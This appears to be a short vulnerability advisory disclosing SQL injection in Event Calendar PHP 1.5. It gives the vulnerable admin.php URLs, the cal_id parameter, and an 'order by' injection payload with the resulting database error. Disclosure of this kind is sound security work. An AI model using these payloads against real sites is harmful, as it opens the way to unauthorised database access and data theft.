Event Calendar PHP 1.5 - SQL Injection

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# Event Calendar PHP 1.5 - SQL Injection
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# Vendor Homepage: http://eventcalendarphp.com/
# Date: 21 Oct 2016
# Version : 1.5
# Platform : WebApp - PHP
# Author: Ashiyane Digital Security Team
# Contact: [email protected]
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# PoC:
Vulnerable Url:
http://localhost/eventcalendar/admin.php?act=options&cal_id=[payload]
http://localhost/eventcalendar/admin.php?act=cal_options&cal_id=[payload]
http://localhost/eventcalendar/admin.php?act=cal_language&cal_id=[payload]
Vulnerable parameter : cal_id
Mehod : GET

A simple inject :
Payload : '+order+by+20--+
http://localhost/eventcalendar/admin.php?act=options&cal_id=1'+order+by+20--+

In response can see result :
query error: SELECT * FROM pa_ecal_calendars WHERE cal_id='1' order by
20-- '. Error: Unknown column '20' in 'order clause'

Result of payload: Error: Unknown column '20' in 'order clause'
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# Discovered By : Ehsan Hosseini
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